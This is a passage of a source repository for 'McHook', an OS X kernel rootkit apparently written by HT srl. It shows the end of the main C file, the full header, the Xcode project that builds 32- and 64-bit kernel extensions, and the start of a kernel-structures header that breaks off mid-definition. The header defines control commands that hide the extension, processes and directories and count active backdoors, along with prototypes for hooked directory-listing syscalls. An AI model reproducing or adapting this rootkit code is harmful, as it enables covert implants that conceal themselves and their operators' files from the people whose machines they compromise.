1866 | printf("[MCHOOK] An error occurred while unloading KEXT\n");
1867 | #endif
1868 | }
1869 |
1870 | remove_hooks();
1871 | }
1872 |
1873 | #ifdef DEBUG
1874 | printf("[MCHOOK] Exiting, have phun dude\n");
1875 | #endif
1876 |
1877 | return KERN_SUCCESS;
1878 | }
1879 |
--------------------------------------------------------------------------------
/mchook.h:
--------------------------------------------------------------------------------
1 | /*
2 | * McHook, mchook.h
3 | * OS X KSpace Rootkit
4 | *
5 | * Created by revenge on 20/03/2009
6 | * Copyright (C) HT srl 2009. All rights reserved
7 | *
8 | */
9 |
10 | #include
11 | #include
12 | #include
13 | #include
14 |
15 | #include "structures.h"
16 | #include "proc_internal.h"
17 | #include "task_internal.h"
18 |
19 | #pragma mark -
20 | #pragma mark Symbols Hash
21 | #pragma mark -
22 |
23 | #define KMOD_HASH 0xdd2c36d6 // _kmod
24 | #define NSYSENT_HASH 0xb366074d // _nsysent
25 | #define TASKS_HASH 0xdbb44cef // _tasks
26 | #define ALLPROC_HASH 0x3fd3c678 // _allproc
27 | #define TASKS_COUNT_HASH 0xa3f77e7f // _tasks_count
28 | #define NPROCS_HASH 0xa77ea22e // _nprocs
29 | #define TASKS_THREADS_LOCK_HASH 0xd94f2751 // _tasks_threads_locks
30 | #define PROC_LOCK_HASH 0x44c085d5 // _proc_lock
31 | #define PROC_UNLOCK_HASH 0xf46ca50e // _proc_unlock
32 | #define PROC_LIST_LOCK_HASH 0x9129f0e2 // _proc_list_lock
33 | #define PROC_LIST_UNLOCK_HASH 0x5337599b // _proc_list_unlock
34 | #define KEXT_LOOKUP_WITH_TAG 0xcf7000a8 // __ZN6OSKext21lookupKextWithLoadTagEj
35 | #define IO_RECURSIVE_LOCK 0x1f7127e3 // _IORecursiveLockLock
36 |
37 | #pragma mark -
38 | #pragma mark IOCTL Codes
39 | #pragma mark -
40 |
41 | #define MCHOOK_MAGIC 31338
42 |
43 | // Used for the uspace<->kspace initialization
44 | #define MCHOOK_INIT _IOW(MCHOOK_MAGIC, 8978726, char [MAX_USER_SIZE]) // IN:username
45 | // Show kext from kextstat -- DEBUG
46 | #define MCHOOK_SHOWK _IO( MCHOOK_MAGIC, 8349871)
47 | // Hide kext from kextstat
48 | #define MCHOOK_HIDEK _IO( MCHOOK_MAGIC, 4975738)
49 | // Hide given pid
50 | #define MCHOOK_HIDEP _IOW(MCHOOK_MAGIC, 9400284, char [MAX_USER_SIZE]) // IN:username
51 | // Hide given dir/file name
52 | #define MCHOOK_HIDED _IOW(MCHOOK_MAGIC, 1998274, char [MAX_DIRNAME_SIZE]) // IN:dir
53 | // Show Process -- DEBUG
54 | #define MCHOOK_SHOWP _IO( MCHOOK_MAGIC, 6839840)
55 | // Unregister userspace component
56 | #define MCHOOK_UNREGISTER _IOW(MCHOOK_MAGIC, 5739299, char [MAX_USER_SIZE]) // IN:username
57 | // Returns the number of active backdoors
58 | #define MCHOOK_GET_ACTIVES _IOR(MCHOOK_MAGIC, 7489827, int) // OUT: num of bd
59 | // Pass symbols resolved from uspace to kspace (not exported symbol snow)
60 | //#define MCHOOK_SOLVE_SYM _IOW(MCHOOK_MAGIC, 6483647, struct symbol) // IN:symbol_32_t
61 | #define MCHOOK_SOLVE_SYM_32 _IOW(MCHOOK_MAGIC, 6483647, struct symbol_32)
62 | #define MCHOOK_SOLVE_SYM_64 _IOW(MCHOOK_MAGIC, 6483648, struct symbol_64)
63 | // Tell the kext to find sysent
64 | #define MCHOOK_FIND_SYS _IOW(MCHOOK_MAGIC, 4548874, struct os_version) // IN:os_version_t
65 |
66 | #pragma mark -
67 | #pragma mark Kernel symbols
68 | #pragma mark -
69 |
70 | #define P_WEXIT 0x00002000
71 |
72 | #define MACRO_BEGIN do {
73 | #define MACRO_END } while (FALSE)
74 |
75 | #define queue_enter(head, elt, type, field) \
76 | MACRO_BEGIN \
77 | register queue_entry_t __prev; \
78 | \
79 | __prev = (head)->prev; \
80 | if ((head) == __prev) { \
81 | (head)->next = (queue_entry_t) (elt); \
82 | } \
83 | else { \
84 | ((type)__prev)->field.next = (queue_entry_t)(elt);\
85 | } \
86 | (elt)->field.prev = __prev; \
87 | (elt)->field.next = head; \
88 | (head)->prev = (queue_entry_t) elt; \
89 | MACRO_END
90 |
91 | #define queue_remove(head, elt, type, field) \
92 | MACRO_BEGIN \
93 | register queue_entry_t __next, __prev; \
94 | \
95 | __next = (elt)->field.next; \
96 | __prev = (elt)->field.prev; \
97 | \
98 | if ((head) == __next) \
99 | (head)->prev = __prev; \
100 | else \
101 | ((type)__next)->field.prev = __prev; \
102 | \
103 | if ((head) == __prev) \
104 | (head)->next = __next; \
105 | else \
106 | ((type)__prev)->field.next = __next; \
107 | \
108 | (elt)->field.next = NULL; \
109 | (elt)->field.prev = NULL; \
110 | MACRO_END
111 |
112 |
113 | #ifdef __LP64__
114 | #define OFFT_KEXT_KMOD 0x9
115 | #define OFFT_KEXT_ARRAY 0x18
116 | #define OFFT_KEXT_COUNT 0x20
117 | #define OFFT_KMOD_NAME 0x10
118 | #else
119 | #define OFFT_KEXT_KMOD 0xa
120 | #define OFFT_KEXT_ARRAY 0x10
121 | #define OFFT_KEXT_COUNT 0x14
122 | #define OFFT_KMOD_NAME 0xc
123 | #endif
124 |
125 | #pragma mark -
126 | #pragma mark Extern Symbols
127 | #pragma mark -
128 |
129 | static struct proclist *i_allproc = NULL;
130 | static queue_head_t *i_tasks = NULL;
131 | static int *i_nsysent = NULL;
132 | static kmod_info_t *i_kmod = NULL;
133 | static int *i_tasks_count = NULL;
134 | static int *i_nprocs = NULL;
135 | static lck_mtx_t *i_tasks_threads_lock = NULL;
136 | static int *kext_lookup_with_tag = NULL;
137 | static int *io_recursive_log = NULL;
138 |
139 | static char *_sLoadedKext = NULL;
140 | //decl_lck_mtx_data(static, *i_tasks_threads_lock);
141 |
142 | static struct sysent *_sysent;
143 |
144 | void (*i_proc_lock) (struct proc *) = NULL;
145 | void (*i_proc_unlock) (struct proc *) = NULL;
146 | void (*i_proc_list_lock) (void) = NULL;
147 | void (*i_proc_list_unlock)(void) = NULL;
148 |
149 | #pragma mark -
150 | #pragma mark Hooking Flags
151 | #pragma mark -
152 |
153 | // Flags used for determining if a syscall has been hooked
154 | static int fl_getdire = 0;
155 | static int fl_getdire64 = 0;
156 | static int fl_getdirentriesattr = 0;
157 | //static int fl_kill = 0;
158 | //static int fl_shutdown = 0;
159 | //static int fl_reboot = 0;
160 |
161 |
162 | #pragma mark -
163 | #pragma mark KEXT Prototypes
164 | #pragma mark -
165 |
166 | // IOCTL
167 | static int cdev_open (dev_t, int, int, struct proc *);
168 | static int cdev_close (dev_t, int, int, struct proc *);
169 | static int cdev_ioctl (dev_t, u_long, caddr_t, int, struct proc *);
170 | // RK
171 | #ifdef DEBUG
172 | void getAttributesForBitFields (attr_list_t al);
173 | #endif
174 | int check_for_process_exclusions (pid_t pid);
175 | void dealloc_meh (char *, pid_t);
176 | void place_hooks ();
177 | void remove_hooks ();
178 | void add_dir_to_hide (char *, pid_t);
179 | void hide_kext_leopard ();
180 | void hide_kext_osarray ();
181 | int hide_proc (proc_t, char *, int);
182 | int unhide_proc (proc_t, int);
183 | int unhide_all_procs ();
184 | int get_active_bd_index (char *, pid_t);
185 | int get_bd_index (char *, pid_t);
186 | int check_symbols_integrity ();
187 | Boolean backdoor_init (char *, proc_t);
188 | int remove_dev_entry ();
189 | static struct sysent *find_sysent (os_version_t *);
190 |
191 | #pragma mark -
192 | #pragma mark Hooked Syscall Prototypes
193 | #pragma mark -
194 | #if 0
195 | int hook_read (struct proc *,
196 | struct mk_read_args *,
197 | int *);
198 | #endif
199 |
200 | int hook_kill (struct proc *,
201 | struct mk_kill_args *,
202 | int *);
203 | int hook_getdirentries (struct proc *,
204 | struct mk_getdirentries_args *,
205 | int *);
206 | int hook_getdirentries64 (struct proc *,
207 | struct mk_getdirentries64_args *,
208 | int *);
209 | int hook_getdirentriesattr (struct proc *,
210 | struct mk_getdirentriesattr_args *uap,
211 | int *retval);
212 | /*
213 | int hook_shutdown (struct proc *,
214 | struct mk_shutdown_args *,
215 | int *);
216 | int hook_reboot (struct proc *,
217 | struct mk_reboot_args *,
218 | int *);
219 | */
220 | typedef int kill_func_t (struct proc *,
221 | struct mk_kill_args *,
222 | int *);
223 | typedef int read_func_t (struct proc *,
224 | struct mk_read_args *,
225 | int *);
226 | typedef int getdirentries_func_t (struct proc *,
227 | struct mk_getdirentries_args *,
228 | int *);
229 | typedef int getdirentries64_func_t (struct proc *,
230 | struct mk_getdirentries64_args *,
231 | int *);
232 | typedef int getattrlist_func_t (struct proc *,
233 | struct mk_getattrlist_args *,
234 | int *);
235 | typedef int getdirentriesattr_func_t(struct proc *,
236 | struct mk_getdirentriesattr_args *,
237 | int *);
238 | /*
239 | typedef int shutdown_func_t (struct proc *,
240 | struct mk_shutdown_args *,
241 | int *);
242 | typedef int reboot_func_t (struct proc *,
243 | struct mk_reboot_args *,
244 | int *);
245 | */
246 | //static read_func_t *real_read;
247 | //static kill_func_t *real_kill;
248 | static getdirentries_func_t *real_getdirentries;
249 | static getdirentries64_func_t *real_getdirentries64;
250 | static getdirentriesattr_func_t *real_getdirentriesattr;
251 | //static shutdown_func_t *real_shutdown;
252 | //static reboot_func_t *real_reboot;
253 |
254 | int is_leopard();
255 | int is_snow_leopard();
256 | int is_lion();
257 |
--------------------------------------------------------------------------------
/mchook.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 46;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 1A93AE47147663E800908B79 /* mchook.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E50F6FB1F600B48136 /* mchook.h */; };
11 | 1A93AE48147663E800908B79 /* proc_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E70F6FB1FF00B48136 /* proc_internal.h */; };
12 | 1A93AE49147663E800908B79 /* structures.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E90F6FB20800B48136 /* structures.h */; };
13 | 1A93AE4A147663E800908B79 /* task_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1ADE17BC124BA15800009522 /* task_internal.h */; };
14 | 1A93AE4C147663E800908B79 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = 089C167DFE841241C02AAC07 /* InfoPlist.strings */; };
15 | 1A93AE4E147663E800908B79 /* mchook.c in Sources */ = {isa = PBXBuildFile; fileRef = 1A224C3CFF42312311CA2CB7 /* mchook.c */; settings = {ATTRIBUTES = (); }; };
16 | 1AA104E60F6FB1F600B48136 /* mchook.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E50F6FB1F600B48136 /* mchook.h */; };
17 | 1AA104E80F6FB1FF00B48136 /* proc_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E70F6FB1FF00B48136 /* proc_internal.h */; };
18 | 1AA104EA0F6FB20800B48136 /* structures.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E90F6FB20800B48136 /* structures.h */; };
19 | 1ADE17BD124BA15800009522 /* task_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1ADE17BC124BA15800009522 /* task_internal.h */; };
20 | 32A4FEBC0562C75700D090E7 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = 089C167DFE841241C02AAC07 /* InfoPlist.strings */; };
21 | 32A4FEBE0562C75700D090E7 /* mchook.c in Sources */ = {isa = PBXBuildFile; fileRef = 1A224C3CFF42312311CA2CB7 /* mchook.c */; settings = {ATTRIBUTES = (); }; };
22 | /* End PBXBuildFile section */
23 |
24 | /* Begin PBXFileReference section */
25 | 089C167EFE841241C02AAC07 /* English */ = {isa = PBXFileReference; fileEncoding = 10; lastKnownFileType = text.plist.strings; name = English; path = English.lproj/InfoPlist.strings; sourceTree = ""; };
26 | 1A224C3CFF42312311CA2CB7 /* mchook.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mchook.c; sourceTree = ""; };
27 | 1A93AE54147663E800908B79 /* mchook-64.kext */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = "mchook-64.kext"; sourceTree = BUILT_PRODUCTS_DIR; };
28 | 1A93AE55147663E800908B79 /* mchook-64-Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = "mchook-64-Info.plist"; path = "/Users/revenge/devel/git/driver-macos/mchook-64-Info.plist"; sourceTree = ""; };
29 | 1AA104E50F6FB1F600B48136 /* mchook.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mchook.h; sourceTree = ""; };
30 | 1AA104E70F6FB1FF00B48136 /* proc_internal.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc_internal.h; sourceTree = ""; };
31 | 1AA104E90F6FB20800B48136 /* structures.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = structures.h; sourceTree = ""; };
32 | 1ADE17BC124BA15800009522 /* task_internal.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = task_internal.h; sourceTree = ""; };
33 | 32A4FEC30562C75700D090E7 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
34 | 32A4FEC40562C75800D090E7 /* mchook-32.kext */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = "mchook-32.kext"; sourceTree = BUILT_PRODUCTS_DIR; };
35 | /* End PBXFileReference section */
36 |
37 | /* Begin PBXFrameworksBuildPhase section */
38 | 1A93AE4F147663E800908B79 /* Frameworks */ = {
39 | isa = PBXFrameworksBuildPhase;
40 | buildActionMask = 2147483647;
41 | files = (
42 | );
43 | runOnlyForDeploymentPostprocessing = 0;
44 | };
45 | 32A4FEBF0562C75700D090E7 /* Frameworks */ = {
46 | isa = PBXFrameworksBuildPhase;
47 | buildActionMask = 2147483647;
48 | files = (
49 | );
50 | runOnlyForDeploymentPostprocessing = 0;
51 | };
52 | /* End PBXFrameworksBuildPhase section */
53 |
54 | /* Begin PBXGroup section */
55 | 089C166AFE841209C02AAC07 /* mchook */ = {
56 | isa = PBXGroup;
57 | children = (
58 | 247142CAFF3F8F9811CA285C /* Source */,
59 | 089C167CFE841241C02AAC07 /* Resources */,
60 | 19C28FB6FE9D52B211CA2CBB /* Products */,
61 | );
62 | name = mchook;
63 | sourceTree = "";
64 | };
65 | 089C167CFE841241C02AAC07 /* Resources */ = {
66 | isa = PBXGroup;
67 | children = (
68 | 32A4FEC30562C75700D090E7 /* Info.plist */,
69 | 1A93AE55147663E800908B79 /* mchook-64-Info.plist */,
70 | 089C167DFE841241C02AAC07 /* InfoPlist.strings */,
71 | );
72 | name = Resources;
73 | sourceTree = "";
74 | };
75 | 19C28FB6FE9D52B211CA2CBB /* Products */ = {
76 | isa = PBXGroup;
77 | children = (
78 | 32A4FEC40562C75800D090E7 /* mchook-32.kext */,
79 | 1A93AE54147663E800908B79 /* mchook-64.kext */,
80 | );
81 | name = Products;
82 | sourceTree = "";
83 | };
84 | 247142CAFF3F8F9811CA285C /* Source */ = {
85 | isa = PBXGroup;
86 | children = (
87 | 1AA104E90F6FB20800B48136 /* structures.h */,
88 | 1AA104E70F6FB1FF00B48136 /* proc_internal.h */,
89 | 1ADE17BC124BA15800009522 /* task_internal.h */,
90 | 1AA104E50F6FB1F600B48136 /* mchook.h */,
91 | 1A224C3CFF42312311CA2CB7 /* mchook.c */,
92 | );
93 | name = Source;
94 | sourceTree = "";
95 | };
96 | /* End PBXGroup section */
97 |
98 | /* Begin PBXHeadersBuildPhase section */
99 | 1A93AE46147663E800908B79 /* Headers */ = {
100 | isa = PBXHeadersBuildPhase;
101 | buildActionMask = 2147483647;
102 | files = (
103 | 1A93AE47147663E800908B79 /* mchook.h in Headers */,
104 | 1A93AE48147663E800908B79 /* proc_internal.h in Headers */,
105 | 1A93AE49147663E800908B79 /* structures.h in Headers */,
106 | 1A93AE4A147663E800908B79 /* task_internal.h in Headers */,
107 | );
108 | runOnlyForDeploymentPostprocessing = 0;
109 | };
110 | 32A4FEBA0562C75700D090E7 /* Headers */ = {
111 | isa = PBXHeadersBuildPhase;
112 | buildActionMask = 2147483647;
113 | files = (
114 | 1AA104E60F6FB1F600B48136 /* mchook.h in Headers */,
115 | 1AA104E80F6FB1FF00B48136 /* proc_internal.h in Headers */,
116 | 1AA104EA0F6FB20800B48136 /* structures.h in Headers */,
117 | 1ADE17BD124BA15800009522 /* task_internal.h in Headers */,
118 | );
119 | runOnlyForDeploymentPostprocessing = 0;
120 | };
121 | /* End PBXHeadersBuildPhase section */
122 |
123 | /* Begin PBXNativeTarget section */
124 | 1A93AE45147663E800908B79 /* mchook-64 */ = {
125 | isa = PBXNativeTarget;
126 | buildConfigurationList = 1A93AE51147663E800908B79 /* Build configuration list for PBXNativeTarget "mchook-64" */;
127 | buildPhases = (
128 | 1A93AE46147663E800908B79 /* Headers */,
129 | 1A93AE4B147663E800908B79 /* Resources */,
130 | 1A93AE4D147663E800908B79 /* Sources */,
131 | 1A93AE4F147663E800908B79 /* Frameworks */,
132 | 1A93AE50147663E800908B79 /* Rez */,
133 | );
134 | buildRules = (
135 | );
136 | dependencies = (
137 | );
138 | name = "mchook-64";
139 | productInstallPath = "$(SYSTEM_LIBRARY_DIR)/Extensions";
140 | productName = mchook;
141 | productReference = 1A93AE54147663E800908B79 /* mchook-64.kext */;
142 | productType = "com.apple.product-type.kernel-extension";
143 | };
144 | 32A4FEB80562C75700D090E7 /* mchook-32 */ = {
145 | isa = PBXNativeTarget;
146 | buildConfigurationList = 1DEB91C308733DAC0010E9CD /* Build configuration list for PBXNativeTarget "mchook-32" */;
147 | buildPhases = (
148 | 32A4FEBA0562C75700D090E7 /* Headers */,
149 | 32A4FEBB0562C75700D090E7 /* Resources */,
150 | 32A4FEBD0562C75700D090E7 /* Sources */,
151 | 32A4FEBF0562C75700D090E7 /* Frameworks */,
152 | 32A4FEC00562C75700D090E7 /* Rez */,
153 | );
154 | buildRules = (
155 | );
156 | dependencies = (
157 | );
158 | name = "mchook-32";
159 | productInstallPath = "$(SYSTEM_LIBRARY_DIR)/Extensions";
160 | productName = mchook;
161 | productReference = 32A4FEC40562C75800D090E7 /* mchook-32.kext */;
162 | productType = "com.apple.product-type.kernel-extension";
163 | };
164 | /* End PBXNativeTarget section */
165 |
166 | /* Begin PBXProject section */
167 | 089C1669FE841209C02AAC07 /* Project object */ = {
168 | isa = PBXProject;
169 | attributes = {
170 | LastUpgradeCheck = 0410;
171 | };
172 | buildConfigurationList = 1DEB91C708733DAC0010E9CD /* Build configuration list for PBXProject "mchook" */;
173 | compatibilityVersion = "Xcode 3.2";
174 | developmentRegion = English;
175 | hasScannedForEncodings = 1;
176 | knownRegions = (
177 | English,
178 | Japanese,
179 | French,
180 | German,
181 | );
182 | mainGroup = 089C166AFE841209C02AAC07 /* mchook */;
183 | projectDirPath = "";
184 | projectRoot = "";
185 | targets = (
186 | 32A4FEB80562C75700D090E7 /* mchook-32 */,
187 | 1A93AE45147663E800908B79 /* mchook-64 */,
188 | );
189 | };
190 | /* End PBXProject section */
191 |
192 | /* Begin PBXResourcesBuildPhase section */
193 | 1A93AE4B147663E800908B79 /* Resources */ = {
194 | isa = PBXResourcesBuildPhase;
195 | buildActionMask = 2147483647;
196 | files = (
197 | 1A93AE4C147663E800908B79 /* InfoPlist.strings in Resources */,
198 | );
199 | runOnlyForDeploymentPostprocessing = 0;
200 | };
201 | 32A4FEBB0562C75700D090E7 /* Resources */ = {
202 | isa = PBXResourcesBuildPhase;
203 | buildActionMask = 2147483647;
204 | files = (
205 | 32A4FEBC0562C75700D090E7 /* InfoPlist.strings in Resources */,
206 | );
207 | runOnlyForDeploymentPostprocessing = 0;
208 | };
209 | /* End PBXResourcesBuildPhase section */
210 |
211 | /* Begin PBXRezBuildPhase section */
212 | 1A93AE50147663E800908B79 /* Rez */ = {
213 | isa = PBXRezBuildPhase;
214 | buildActionMask = 2147483647;
215 | files = (
216 | );
217 | runOnlyForDeploymentPostprocessing = 0;
218 | };
219 | 32A4FEC00562C75700D090E7 /* Rez */ = {
220 | isa = PBXRezBuildPhase;
221 | buildActionMask = 2147483647;
222 | files = (
223 | );
224 | runOnlyForDeploymentPostprocessing = 0;
225 | };
226 | /* End PBXRezBuildPhase section */
227 |
228 | /* Begin PBXSourcesBuildPhase section */
229 | 1A93AE4D147663E800908B79 /* Sources */ = {
230 | isa = PBXSourcesBuildPhase;
231 | buildActionMask = 2147483647;
232 | files = (
233 | 1A93AE4E147663E800908B79 /* mchook.c in Sources */,
234 | );
235 | runOnlyForDeploymentPostprocessing = 0;
236 | };
237 | 32A4FEBD0562C75700D090E7 /* Sources */ = {
238 | isa = PBXSourcesBuildPhase;
239 | buildActionMask = 2147483647;
240 | files = (
241 | 32A4FEBE0562C75700D090E7 /* mchook.c in Sources */,
242 | );
243 | runOnlyForDeploymentPostprocessing = 0;
244 | };
245 | /* End PBXSourcesBuildPhase section */
246 |
247 | /* Begin PBXVariantGroup section */
248 | 089C167DFE841241C02AAC07 /* InfoPlist.strings */ = {
249 | isa = PBXVariantGroup;
250 | children = (
251 | 089C167EFE841241C02AAC07 /* English */,
252 | );
253 | name = InfoPlist.strings;
254 | sourceTree = "";
255 | };
256 | /* End PBXVariantGroup section */
257 |
258 | /* Begin XCBuildConfiguration section */
259 | 1A93AE52147663E800908B79 /* Debug */ = {
260 | isa = XCBuildConfiguration;
261 | buildSettings = {
262 | ALWAYS_SEARCH_USER_PATHS = NO;
263 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
264 | COPY_PHASE_STRIP = NO;
265 | FRAMEWORK_SEARCH_PATHS = (
266 | "$(inherited)",
267 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"",
268 | );
269 | GCC_DYNAMIC_NO_PIC = NO;
270 | GCC_MODEL_TUNING = G5;
271 | GCC_OPTIMIZATION_LEVEL = 0;
272 | GCC_VERSION = com.apple.compilers.llvm.clang.1_0;
273 | INFOPLIST_FILE = "mchook-64-Info.plist";
274 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions";
275 | MODULE_NAME = com.yourcompany.kext.mchook;
276 | MODULE_START = mchook_start;
277 | MODULE_STOP = mchook_stop;
278 | MODULE_VERSION = 1.0.0d1;
279 | ONLY_ACTIVE_ARCH = YES;
280 | PRODUCT_NAME = "mchook-64";
281 | SDKROOT = macosx10.7;
282 | WRAPPER_EXTENSION = kext;
283 | };
284 | name = Debug;
285 | };
286 | 1A93AE53147663E800908B79 /* Release */ = {
287 | isa = XCBuildConfiguration;
288 | buildSettings = {
289 | ALWAYS_SEARCH_USER_PATHS = NO;
290 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
291 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
292 | FRAMEWORK_SEARCH_PATHS = (
293 | "$(inherited)",
294 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"",
295 | );
296 | GCC_MODEL_TUNING = G5;
297 | GCC_VERSION = com.apple.compilers.llvm.clang.1_0;
298 | INFOPLIST_FILE = "mchook-64-Info.plist";
299 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions";
300 | MODULE_NAME = com.yourcompany.kext.mchook;
301 | MODULE_START = mchook_start;
302 | MODULE_STOP = mchook_stop;
303 | MODULE_VERSION = 1.0.0d1;
304 | ONLY_ACTIVE_ARCH = YES;
305 | PRODUCT_NAME = "mchook-64";
306 | SDKROOT = macosx10.7;
307 | WRAPPER_EXTENSION = kext;
308 | };
309 | name = Release;
310 | };
311 | 1DEB91C408733DAC0010E9CD /* Debug */ = {
312 | isa = XCBuildConfiguration;
313 | buildSettings = {
314 | ALWAYS_SEARCH_USER_PATHS = NO;
315 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
316 | COPY_PHASE_STRIP = NO;
317 | FRAMEWORK_SEARCH_PATHS = (
318 | "$(inherited)",
319 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"",
320 | );
321 | GCC_DYNAMIC_NO_PIC = NO;
322 | GCC_MODEL_TUNING = G5;
323 | GCC_OPTIMIZATION_LEVEL = 0;
324 | GCC_VERSION = 4.2;
325 | INFOPLIST_FILE = Info.plist;
326 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions";
327 | MODULE_NAME = com.yourcompany.kext.mchook;
328 | MODULE_START = mchook_start;
329 | MODULE_STOP = mchook_stop;
330 | MODULE_VERSION = 1.0.0d1;
331 | ONLY_ACTIVE_ARCH = YES;
332 | PRODUCT_NAME = "mchook-32";
333 | SDKROOT = macosx10.6;
334 | WRAPPER_EXTENSION = kext;
335 | };
336 | name = Debug;
337 | };
338 | 1DEB91C508733DAC0010E9CD /* Release */ = {
339 | isa = XCBuildConfiguration;
340 | buildSettings = {
341 | ALWAYS_SEARCH_USER_PATHS = NO;
342 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
343 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
344 | FRAMEWORK_SEARCH_PATHS = (
345 | "$(inherited)",
346 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"",
347 | );
348 | GCC_MODEL_TUNING = G5;
349 | GCC_VERSION = 4.2;
350 | INFOPLIST_FILE = Info.plist;
351 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions";
352 | MODULE_NAME = com.yourcompany.kext.mchook;
353 | MODULE_START = mchook_start;
354 | MODULE_STOP = mchook_stop;
355 | MODULE_VERSION = 1.0.0d1;
356 | ONLY_ACTIVE_ARCH = YES;
357 | PRODUCT_NAME = "mchook-32";
358 | SDKROOT = macosx10.6;
359 | WRAPPER_EXTENSION = kext;
360 | };
361 | name = Release;
362 | };
363 | 1DEB91C808733DAC0010E9CD /* Debug */ = {
364 | isa = XCBuildConfiguration;
365 | buildSettings = {
366 | ARCHS = "$(ARCHS_STANDARD_32_BIT)";
367 | GCC_C_LANGUAGE_STANDARD = c99;
368 | GCC_OPTIMIZATION_LEVEL = 0;
369 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
370 | GCC_WARN_UNUSED_VARIABLE = YES;
371 | ONLY_ACTIVE_ARCH = YES;
372 | SDKROOT = macosx10.5;
373 | VALID_ARCHS = "i386 x86_64";
374 | };
375 | name = Debug;
376 | };
377 | 1DEB91C908733DAC0010E9CD /* Release */ = {
378 | isa = XCBuildConfiguration;
379 | buildSettings = {
380 | ARCHS = "$(ARCHS_STANDARD_32_BIT)";
381 | COPY_PHASE_STRIP = NO;
382 | GCC_C_LANGUAGE_STANDARD = c99;
383 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
384 | GCC_WARN_UNUSED_VARIABLE = YES;
385 | ONLY_ACTIVE_ARCH = YES;
386 | SDKROOT = macosx10.5;
387 | SEPARATE_STRIP = YES;
388 | VALID_ARCHS = "i386 x86_64";
389 | };
390 | name = Release;
391 | };
392 | /* End XCBuildConfiguration section */
393 |
394 | /* Begin XCConfigurationList section */
395 | 1A93AE51147663E800908B79 /* Build configuration list for PBXNativeTarget "mchook-64" */ = {
396 | isa = XCConfigurationList;
397 | buildConfigurations = (
398 | 1A93AE52147663E800908B79 /* Debug */,
399 | 1A93AE53147663E800908B79 /* Release */,
400 | );
401 | defaultConfigurationIsVisible = 0;
402 | defaultConfigurationName = Release;
403 | };
404 | 1DEB91C308733DAC0010E9CD /* Build configuration list for PBXNativeTarget "mchook-32" */ = {
405 | isa = XCConfigurationList;
406 | buildConfigurations = (
407 | 1DEB91C408733DAC0010E9CD /* Debug */,
408 | 1DEB91C508733DAC0010E9CD /* Release */,
409 | );
410 | defaultConfigurationIsVisible = 0;
411 | defaultConfigurationName = Release;
412 | };
413 | 1DEB91C708733DAC0010E9CD /* Build configuration list for PBXProject "mchook" */ = {
414 | isa = XCConfigurationList;
415 | buildConfigurations = (
416 | 1DEB91C808733DAC0010E9CD /* Debug */,
417 | 1DEB91C908733DAC0010E9CD /* Release */,
418 | );
419 | defaultConfigurationIsVisible = 0;
420 | defaultConfigurationName = Release;
421 | };
422 | /* End XCConfigurationList section */
423 | };
424 | rootObject = 089C1669FE841209C02AAC07 /* Project object */;
425 | }
426 |
--------------------------------------------------------------------------------
/proc_internal.h:
--------------------------------------------------------------------------------
1 | /*
2 | * McHook, proc_internal.h
3 | * OS X KSpace Rootkit
4 | *
5 | * Definitions needed by the KEXT and not exported
6 | *
7 | * Created by revenge on 20/03/2009
8 | * Copyright (C) HT srl 2009. All rights reserved
9 | *
10 | */
11 |
12 | #ifndef _SYS_PROC_INTERNAL_H_
13 | #define _SYS_PROC_INTERNAL_H_
14 |
15 | #include
16 | #include
17 | __BEGIN_DECLS
18 | #include
19 | __END_DECLS
20 |
21 | struct proc;
22 |
23 | #define PROC_NULL (struct proc *)0
24 |
25 | #if (defined(MAC_OS_X_VERSION_10_7) && MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_7)
26 |
27 | #define MACH_KERNEL_PRIVATE
28 | #define __APPLE_API_UNSTABLE
29 | #define SYSCTL_DEF_ENABLED
30 | #define PROC_DEF_ENABLED
31 |
32 | typedef struct m_lck_mtx {
33 | union {
34 | struct {
35 | volatile uintptr_t lck_mtxd_owner;
36 | union {
